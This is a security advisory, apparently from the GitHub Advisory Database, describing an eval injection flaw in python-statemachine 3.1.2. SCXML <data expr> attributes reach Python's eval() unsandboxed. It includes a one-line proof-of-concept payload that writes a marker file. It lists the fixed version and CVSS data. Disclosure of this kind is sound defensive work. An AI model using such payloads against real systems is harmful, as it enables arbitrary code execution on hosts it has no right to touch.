Critical

python-statemachine SCXML <data expr> Eval Injection

  • Disclosed: 18.06.2026
  • Updated: 11.10.2026 13:17

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
 create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

 3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()
 
4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) python-statemachine >= 3.0.0, < 3.2.0 3.2.0

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-95
Platform
Python (PyPI)
Package
python-statemachine
Disclosed
18.06.2026
Updated
11.10.2026 13:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-v4jc-pm6r-3vj8 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-506 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: python-statemachine

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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